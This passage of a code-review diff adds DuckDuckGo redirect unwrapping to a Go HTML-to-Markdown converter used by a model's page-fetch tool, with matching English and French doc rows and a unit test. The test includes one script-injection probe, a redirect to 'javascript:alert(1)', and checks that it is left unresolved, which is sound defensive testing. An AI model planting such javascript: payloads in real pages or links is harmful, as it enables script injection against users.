| 222 | 223 | | Conversion | `h1`–`h6` → `#`–`######`; `p` → paragraph, blank line between blocks; `strong`/`b` → `**…**`; `em`/`i` → `*…*`; inline `code`/`kbd`/`samp`/`tt` → backtick span; `pre` → fenced block (info string from `language-x`), fence longer than any backtick run inside; `br` → hard break `\`; `hr` → `---`; `blockquote` → `> `; `a` → `[text](url)`, the URL when there is no text, text only for `javascript:`; `img` → ``, `` without alt, alt only for a `data:` URI; `ul`/`ol` → `- ` / `N. ` (from `start`), nested lists indented by the parent marker's width; simple tables → GFM, first row as header, `|` escaped, `<br>` for line breaks in a cell, `<caption>` as a paragraph above. | |
| 223 | 224 | | Unknown element | Tags dropped, text kept; one that contains a block element is treated as a container. | |
| 224 | 225 | | Empty element | Nothing, no blank line. | |
| @@ -219,6 +219,7 @@ Declared only with `fetchContentTool: true`. Downloads a web page and returns it | |||
| 219 | | Encoding | In order: byte-order mark, `charset` of the `Content-Type` header, `<meta charset>` or `<meta http-equiv="Content-Type">` in the first 4 KiB, UTF-8 if the bytes are valid UTF-8, else `windows-1252`. An unknown name is skipped. The content is converted to UTF-8. | | 219 | | Encoding | In order: byte-order mark, `charset` of the `Content-Type` header, `<meta charset>` or `<meta http-equiv="Content-Type">` in the first 4 KiB, UTF-8 if the bytes are valid UTF-8, else `windows-1252`. An unknown name is skipped. The content is converted to UTF-8. | |
| 220 | | Removed | `script`, `style`, `noscript`, `template`, `meta`, `link`, `base`, `title`, `svg`, `canvas`, `iframe`, `object`, `embed`, `nav`, `aside`, `dialog`, `button`, `select`, `textarea`, inputs other than checkboxes, a `footer` outside `article`/`main`, HTML comments, ARIA roles `navigation` `banner` `complementary` `search` `contentinfo` `dialog`, `aria-hidden="true"`, `hidden`, class/id words `ad` `ads` `advert` `sponsor` `promo` `cookie` `consent` `gdpr` `newsletter` `subscribe` `popup` `modal` `share` `social` `breadcrumb` `nav` `navbar` `navigation` `menu` `sidebar` `skiplink` (and a few variants), classes `sr-only` `visually-hidden` `screen-reader-text`. An element matched by class/id is kept when it contains `main`, `article` or `h1`. | | 220 | | Removed | `script`, `style`, `noscript`, `template`, `meta`, `link`, `base`, `title`, `svg`, `canvas`, `iframe`, `object`, `embed`, `nav`, `aside`, `dialog`, `button`, `select`, `textarea`, inputs other than checkboxes, a `footer` outside `article`/`main`, HTML comments, ARIA roles `navigation` `banner` `complementary` `search` `contentinfo` `dialog`, `aria-hidden="true"`, `hidden`, class/id words `ad` `ads` `advert` `sponsor` `promo` `cookie` `consent` `gdpr` `newsletter` `subscribe` `popup` `modal` `share` `social` `breadcrumb` `nav` `navbar` `navigation` `menu` `sidebar` `skiplink` (and a few variants), classes `sr-only` `visually-hidden` `screen-reader-text`. An element matched by class/id is kept when it contains `main`, `article` or `h1`. | |
| 221 | | Attributes | All removed except `a[href]`, `img[src,alt]`, `td/th[colspan,rowspan]`, `ol[start]`, `input[type,checked]`, and the `language-*`/`lang-*` words of a `pre`/`code` class. | | 221 | | Attributes | All removed except `a[href]`, `img[src,alt]`, `td/th[colspan,rowspan]`, `ol[start]`, `input[type,checked]`, and the `language-*`/`lang-*` words of a `pre`/`code` class. | |
| 222 | +| Search result links | A DuckDuckGo result link (`https://duckduckgo.com/l/?uddg=<address>&rut=…`, the lite and html result pages) becomes the address it points to, so a model citing a result cites the page itself. Only an absolute `http`/`https` target is taken; any other link is left as is. | | ||
| 222 | | Conversion | `h1`–`h6` → `#`–`######`; `p` → paragraph, blank line between blocks; `strong`/`b` → `**…**`; `em`/`i` → `*…*`; inline `code`/`kbd`/`samp`/`tt` → backtick span; `pre` → fenced block (info string from `language-x`), fence longer than any backtick run inside; `br` → hard break `\`; `hr` → `---`; `blockquote` → `> `; `a` → `[text](url)`, the URL when there is no text, text only for `javascript:`; `img` → ``, `` without alt, alt only for a `data:` URI; `ul`/`ol` → `- ` / `N. ` (from `start`), nested lists indented by the parent marker's width; simple tables → GFM, first row as header, `|` escaped, `<br>` for line breaks in a cell, `<caption>` as a paragraph above. | | 223 | | Conversion | `h1`–`h6` → `#`–`######`; `p` → paragraph, blank line between blocks; `strong`/`b` → `**…**`; `em`/`i` → `*…*`; inline `code`/`kbd`/`samp`/`tt` → backtick span; `pre` → fenced block (info string from `language-x`), fence longer than any backtick run inside; `br` → hard break `\`; `hr` → `---`; `blockquote` → `> `; `a` → `[text](url)`, the URL when there is no text, text only for `javascript:`; `img` → ``, `` without alt, alt only for a `data:` URI; `ul`/`ol` → `- ` / `N. ` (from `start`), nested lists indented by the parent marker's width; simple tables → GFM, first row as header, `|` escaped, `<br>` for line breaks in a cell, `<caption>` as a paragraph above. | |
| 223 | | Unknown element | Tags dropped, text kept; one that contains a block element is treated as a container. | | 224 | | Unknown element | Tags dropped, text kept; one that contains a block element is treated as a container. | |
| 224 | | Empty element | Nothing, no blank line. | | 225 | | Empty element | Nothing, no blank line. | |
modified
docs/fr/reference/tools.md +1 -0 | @@ -219,6 +219,7 @@ Déclaré seulement avec `fetchContentTool: true`. Télécharge une page web et | ||
| 219 | 219 | | Encodage | Dans l'ordre : marque d'ordre des octets, `charset` de l'en-tête `Content-Type`, `<meta charset>` ou `<meta http-equiv="Content-Type">` dans les 4 premiers Kio, UTF-8 si les octets sont de l'UTF-8 valide, sinon `windows-1252`. Un nom inconnu est ignoré. Le contenu est converti en UTF-8. | |
| 220 | 220 | | Retiré | `script`, `style`, `noscript`, `template`, `meta`, `link`, `base`, `title`, `svg`, `canvas`, `iframe`, `object`, `embed`, `nav`, `aside`, `dialog`, `button`, `select`, `textarea`, les champs autres que les cases à cocher, un `footer` hors de `article`/`main`, les commentaires HTML, les rôles ARIA `navigation` `banner` `complementary` `search` `contentinfo` `dialog`, `aria-hidden="true"`, `hidden`, les mots de class/id `ad` `ads` `advert` `sponsor` `promo` `cookie` `consent` `gdpr` `newsletter` `subscribe` `popup` `modal` `share` `social` `breadcrumb` `nav` `navbar` `navigation` `menu` `sidebar` `skiplink` (et quelques variantes), les classes `sr-only` `visually-hidden` `screen-reader-text`. Un élément repéré par class/id est gardé s'il contient `main`, `article` ou `h1`. | |
| 221 | 221 | | Attributs | Tous retirés sauf `a[href]`, `img[src,alt]`, `td/th[colspan,rowspan]`, `ol[start]`, `input[type,checked]`, et les mots `language-*`/`lang-*` de la classe d'un `pre`/`code`. | |
| 222 | +| Liens de résultats de recherche | Un lien de résultat DuckDuckGo (`https://duckduckgo.com/l/?uddg=<adresse>&rut=…`, pages de résultats lite et html) devient l'adresse vers laquelle il pointe : un modèle qui cite un résultat cite la page elle-même. Seule une cible absolue `http`/`https` est retenue ; tout autre lien reste tel quel. | | |
| 222 | 223 | | Conversion | `h1`–`h6` → `#`–`######` ; `p` → paragraphe, ligne vide entre les blocs ; `strong`/`b` → `**…**` ; `em`/`i` → `*…*` ; `code`/`kbd`/`samp`/`tt` en ligne → accents graves ; `pre` → bloc clôturé (langage tiré de `language-x`), clôture plus longue que toute suite d'accents graves du code ; `br` → saut de ligne forcé `\` ; `hr` → `---` ; `blockquote` → `> ` ; `a` → `[texte](url)`, l'URL faute de texte, le texte seul pour `javascript:` ; `img` → ``, `` sans alt, l'alt seul pour une URI `data:` ; `ul`/`ol` → `- ` / `N. ` (depuis `start`), listes imbriquées indentées de la largeur du marqueur parent ; tableaux simples → GFM, première ligne comme en-tête, `|` échappé, `<br>` pour un saut de ligne dans une cellule, `<caption>` en paragraphe au-dessus. | |
| 223 | 224 | | Élément inconnu | Balises retirées, texte conservé ; s'il contient un bloc, il est traité comme un conteneur. | |
| 224 | 225 | | Élément vide | Rien, pas de ligne vide. | |
| @@ -219,6 +219,7 @@ Déclaré seulement avec `fetchContentTool: true`. Télécharge une page web et | |||
| 219 | | Encodage | Dans l'ordre : marque d'ordre des octets, `charset` de l'en-tête `Content-Type`, `<meta charset>` ou `<meta http-equiv="Content-Type">` dans les 4 premiers Kio, UTF-8 si les octets sont de l'UTF-8 valide, sinon `windows-1252`. Un nom inconnu est ignoré. Le contenu est converti en UTF-8. | | 219 | | Encodage | Dans l'ordre : marque d'ordre des octets, `charset` de l'en-tête `Content-Type`, `<meta charset>` ou `<meta http-equiv="Content-Type">` dans les 4 premiers Kio, UTF-8 si les octets sont de l'UTF-8 valide, sinon `windows-1252`. Un nom inconnu est ignoré. Le contenu est converti en UTF-8. | |
| 220 | | Retiré | `script`, `style`, `noscript`, `template`, `meta`, `link`, `base`, `title`, `svg`, `canvas`, `iframe`, `object`, `embed`, `nav`, `aside`, `dialog`, `button`, `select`, `textarea`, les champs autres que les cases à cocher, un `footer` hors de `article`/`main`, les commentaires HTML, les rôles ARIA `navigation` `banner` `complementary` `search` `contentinfo` `dialog`, `aria-hidden="true"`, `hidden`, les mots de class/id `ad` `ads` `advert` `sponsor` `promo` `cookie` `consent` `gdpr` `newsletter` `subscribe` `popup` `modal` `share` `social` `breadcrumb` `nav` `navbar` `navigation` `menu` `sidebar` `skiplink` (et quelques variantes), les classes `sr-only` `visually-hidden` `screen-reader-text`. Un élément repéré par class/id est gardé s'il contient `main`, `article` ou `h1`. | | 220 | | Retiré | `script`, `style`, `noscript`, `template`, `meta`, `link`, `base`, `title`, `svg`, `canvas`, `iframe`, `object`, `embed`, `nav`, `aside`, `dialog`, `button`, `select`, `textarea`, les champs autres que les cases à cocher, un `footer` hors de `article`/`main`, les commentaires HTML, les rôles ARIA `navigation` `banner` `complementary` `search` `contentinfo` `dialog`, `aria-hidden="true"`, `hidden`, les mots de class/id `ad` `ads` `advert` `sponsor` `promo` `cookie` `consent` `gdpr` `newsletter` `subscribe` `popup` `modal` `share` `social` `breadcrumb` `nav` `navbar` `navigation` `menu` `sidebar` `skiplink` (et quelques variantes), les classes `sr-only` `visually-hidden` `screen-reader-text`. Un élément repéré par class/id est gardé s'il contient `main`, `article` ou `h1`. | |
| 221 | | Attributs | Tous retirés sauf `a[href]`, `img[src,alt]`, `td/th[colspan,rowspan]`, `ol[start]`, `input[type,checked]`, et les mots `language-*`/`lang-*` de la classe d'un `pre`/`code`. | | 221 | | Attributs | Tous retirés sauf `a[href]`, `img[src,alt]`, `td/th[colspan,rowspan]`, `ol[start]`, `input[type,checked]`, et les mots `language-*`/`lang-*` de la classe d'un `pre`/`code`. | |
| 222 | +| Liens de résultats de recherche | Un lien de résultat DuckDuckGo (`https://duckduckgo.com/l/?uddg=<adresse>&rut=…`, pages de résultats lite et html) devient l'adresse vers laquelle il pointe : un modèle qui cite un résultat cite la page elle-même. Seule une cible absolue `http`/`https` est retenue ; tout autre lien reste tel quel. | | ||
| 222 | | Conversion | `h1`–`h6` → `#`–`######` ; `p` → paragraphe, ligne vide entre les blocs ; `strong`/`b` → `**…**` ; `em`/`i` → `*…*` ; `code`/`kbd`/`samp`/`tt` en ligne → accents graves ; `pre` → bloc clôturé (langage tiré de `language-x`), clôture plus longue que toute suite d'accents graves du code ; `br` → saut de ligne forcé `\` ; `hr` → `---` ; `blockquote` → `> ` ; `a` → `[texte](url)`, l'URL faute de texte, le texte seul pour `javascript:` ; `img` → ``, `` sans alt, l'alt seul pour une URI `data:` ; `ul`/`ol` → `- ` / `N. ` (depuis `start`), listes imbriquées indentées de la largeur du marqueur parent ; tableaux simples → GFM, première ligne comme en-tête, `|` échappé, `<br>` pour un saut de ligne dans une cellule, `<caption>` en paragraphe au-dessus. | | 223 | | Conversion | `h1`–`h6` → `#`–`######` ; `p` → paragraphe, ligne vide entre les blocs ; `strong`/`b` → `**…**` ; `em`/`i` → `*…*` ; `code`/`kbd`/`samp`/`tt` en ligne → accents graves ; `pre` → bloc clôturé (langage tiré de `language-x`), clôture plus longue que toute suite d'accents graves du code ; `br` → saut de ligne forcé `\` ; `hr` → `---` ; `blockquote` → `> ` ; `a` → `[texte](url)`, l'URL faute de texte, le texte seul pour `javascript:` ; `img` → ``, `` sans alt, l'alt seul pour une URI `data:` ; `ul`/`ol` → `- ` / `N. ` (depuis `start`), listes imbriquées indentées de la largeur du marqueur parent ; tableaux simples → GFM, première ligne comme en-tête, `|` échappé, `<br>` pour un saut de ligne dans une cellule, `<caption>` en paragraphe au-dessus. | |
| 223 | | Élément inconnu | Balises retirées, texte conservé ; s'il contient un bloc, il est traité comme un conteneur. | | 224 | | Élément inconnu | Balises retirées, texte conservé ; s'il contient un bloc, il est traité comme un conteneur. | |
| 224 | | Élément vide | Rien, pas de ligne vide. | | 225 | | Élément vide | Rien, pas de ligne vide. | |
modified
internal/webmd/convert.go +21 -1 | @@ -136,7 +136,7 @@ func resolveURLs(n *html.Node, base *url.URL) { | ||
| 136 | 136 | for i, a := range n.Attr { |
| 137 | 137 | if (n.DataAtom == atom.A && a.Key == "href") || (n.DataAtom == atom.Img && a.Key == "src") { |
| 138 | 138 | if u, err := base.Parse(strings.TrimSpace(a.Val)); err == nil { |
| 139 | - n.Attr[i].Val = u.String() | |
| 139 | + n.Attr[i].Val = unwrapRedirect(u).String() | |
| 140 | 140 | } |
| 141 | 141 | } |
| 142 | 142 | } |
| @@ -146,6 +146,26 @@ func resolveURLs(n *html.Node, base *url.URL) { | ||
| 146 | 146 | } |
| 147 | 147 | } |
| 148 | 148 | |
| 149 | +// unwrapRedirect returns the target of a search engine's click-tracking | |
| 150 | +// link, u itself for any other link (ticket 69). DuckDuckGo's result pages | |
| 151 | +// (lite and html) link every result through | |
| 152 | +// https://duckduckgo.com/l/?uddg=<the real address>&rut=…: a model citing a | |
| 153 | +// result copied that link, never the page's own address (measured with | |
| 154 | +// Qwen3.5 2B, 9 of 9 links). Only an absolute http(s) target is taken. | |
| 155 | +// | |
| 156 | +// https://duckduckgo.com/l/?uddg=https%3A%2F%2Felecnews.fr%2F&rut=b2… → https://elecnews.fr/ | |
| 157 | +func unwrapRedirect(u *url.URL) *url.URL { | |
| 158 | + host := strings.TrimPrefix(u.Hostname(), "www.") | |
| 159 | + if !strings.HasSuffix(host, "duckduckgo.com") || u.Path != "/l/" { | |
| 160 | + return u | |
| 161 | + } | |
| 162 | + target, err := url.Parse(u.Query().Get("uddg")) | |
| 163 | + if err != nil || !target.IsAbs() || (target.Scheme != "http" && target.Scheme != "https") { | |
| 164 | + return u | |
| 165 | + } | |
| 166 | + return target | |
| 167 | +} | |
| 168 | + | |
| 149 | 169 | // findBody returns the <body> of a parsed document (the parser always |
| 150 | 170 | // creates one), or the document itself. |
| 151 | 171 | func findBody(n *html.Node) *html.Node { |
| @@ -136,7 +136,7 @@ func resolveURLs(n *html.Node, base *url.URL) { | |||
| 136 | for i, a := range n.Attr { | 136 | for i, a := range n.Attr { |
| 137 | if (n.DataAtom == atom.A && a.Key == "href") || (n.DataAtom == atom.Img && a.Key == "src") { | 137 | if (n.DataAtom == atom.A && a.Key == "href") || (n.DataAtom == atom.Img && a.Key == "src") { |
| 138 | if u, err := base.Parse(strings.TrimSpace(a.Val)); err == nil { | 138 | if u, err := base.Parse(strings.TrimSpace(a.Val)); err == nil { |
| 139 | - n.Attr[i].Val = u.String() | 139 | + n.Attr[i].Val = unwrapRedirect(u).String() |
| 140 | } | 140 | } |
| 141 | } | 141 | } |
| 142 | } | 142 | } |
| @@ -146,6 +146,26 @@ func resolveURLs(n *html.Node, base *url.URL) { | |||
| 146 | } | 146 | } |
| 147 | } | 147 | } |
| 148 | 148 | ||
| 149 | +// unwrapRedirect returns the target of a search engine's click-tracking | ||
| 150 | +// link, u itself for any other link (ticket 69). DuckDuckGo's result pages | ||
| 151 | +// (lite and html) link every result through | ||
| 152 | +// https://duckduckgo.com/l/?uddg=<the real address>&rut=…: a model citing a | ||
| 153 | +// result copied that link, never the page's own address (measured with | ||
| 154 | +// Qwen3.5 2B, 9 of 9 links). Only an absolute http(s) target is taken. | ||
| 155 | +// | ||
| 156 | +// https://duckduckgo.com/l/?uddg=https%3A%2F%2Felecnews.fr%2F&rut=b2… → https://elecnews.fr/ | ||
| 157 | +func unwrapRedirect(u *url.URL) *url.URL { | ||
| 158 | + host := strings.TrimPrefix(u.Hostname(), "www.") | ||
| 159 | + if !strings.HasSuffix(host, "duckduckgo.com") || u.Path != "/l/" { | ||
| 160 | + return u | ||
| 161 | + } | ||
| 162 | + target, err := url.Parse(u.Query().Get("uddg")) | ||
| 163 | + if err != nil || !target.IsAbs() || (target.Scheme != "http" && target.Scheme != "https") { | ||
| 164 | + return u | ||
| 165 | + } | ||
| 166 | + return target | ||
| 167 | +} | ||
| 168 | + | ||
| 149 | // findBody returns the <body> of a parsed document (the parser always | 169 | // findBody returns the <body> of a parsed document (the parser always |
| 150 | // creates one), or the document itself. | 170 | // creates one), or the document itself. |
| 151 | func findBody(n *html.Node) *html.Node { | 171 | func findBody(n *html.Node) *html.Node { |
modified
internal/webmd/convert_test.go +18 -0 | @@ -166,3 +166,21 @@ func TestParseTableMode(t *testing.T) { | ||
| 166 | 166 | t.Errorf("ParseTableMode(markdown) error code = %v, want usage", CodeOf(err)) |
| 167 | 167 | } |
| 168 | 168 | } |
| 169 | + | |
| 170 | +// DuckDuckGo's result links point at the result itself once converted | |
| 171 | +// (ticket 69); any other link, or a redirect with no usable target, stays. | |
| 172 | +func TestConvertUnwrapsDuckDuckGoRedirects(t *testing.T) { | |
| 173 | + page := `<a href="//duckduckgo.com/l/?uddg=https%3A%2F%2Felecnews.fr%2Fev%3Fa%3D1&rut=b27b">ElecNews</a> | |
| 174 | +<a href="https://duckduckgo.com/l/?uddg=javascript%3Aalert(1)">bad</a> | |
| 175 | +<a href="/about">About</a>` | |
| 176 | + base, _ := url.Parse("https://lite.duckduckgo.com/lite/?q=ev") | |
| 177 | + md, err := Convert([]byte(page), Options{BaseURL: base}) | |
| 178 | + if err != nil { | |
| 179 | + t.Fatal(err) | |
| 180 | + } | |
| 181 | + for _, want := range []string{"[ElecNews](https://elecnews.fr/ev?a=1)", "[bad](https://duckduckgo.com/l/?uddg=javascript%3Aalert%281%29)", "[About](https://lite.duckduckgo.com/about)"} { | |
| 182 | + if !strings.Contains(md, want) { | |
| 183 | + t.Errorf("missing %s in:\n%s", want, md) | |
| 184 | + } | |
| 185 | + } | |
| 186 | +} | |
| @@ -166,3 +166,21 @@ func TestParseTableMode(t *testing.T) { | |||
| 166 | t.Errorf("ParseTableMode(markdown) error code = %v, want usage", CodeOf(err)) | 166 | t.Errorf("ParseTableMode(markdown) error code = %v, want usage", CodeOf(err)) |
| 167 | } | 167 | } |
| 168 | } | 168 | } |
| 169 | + | ||
| 170 | +// DuckDuckGo's result links point at the result itself once converted | ||
| 171 | +// (ticket 69); any other link, or a redirect with no usable target, stays. | ||
| 172 | +func TestConvertUnwrapsDuckDuckGoRedirects(t *testing.T) { | ||
| 173 | + page := `<a href="//duckduckgo.com/l/?uddg=https%3A%2F%2Felecnews.fr%2Fev%3Fa%3D1&rut=b27b">ElecNews</a> | ||
| 174 | +<a href="https://duckduckgo.com/l/?uddg=javascript%3Aalert(1)">bad</a> | ||
| 175 | +<a href="/about">About</a>` | ||
| 176 | + base, _ := url.Parse("https://lite.duckduckgo.com/lite/?q=ev") | ||
| 177 | + md, err := Convert([]byte(page), Options{BaseURL: base}) | ||
| 178 | + if err != nil { | ||
| 179 | + t.Fatal(err) | ||
| 180 | + } | ||
| 181 | + for _, want := range []string{"[ElecNews](https://elecnews.fr/ev?a=1)", "[bad](https://duckduckgo.com/l/?uddg=javascript%3Aalert%281%29)", "[About](https://lite.duckduckgo.com/about)"} { | ||
| 182 | + if !strings.Contains(md, want) { | ||
| 183 | + t.Errorf("missing %s in:\n%s", want, md) | ||
| 184 | + } | ||
| 185 | + } | ||
| 186 | +} | ||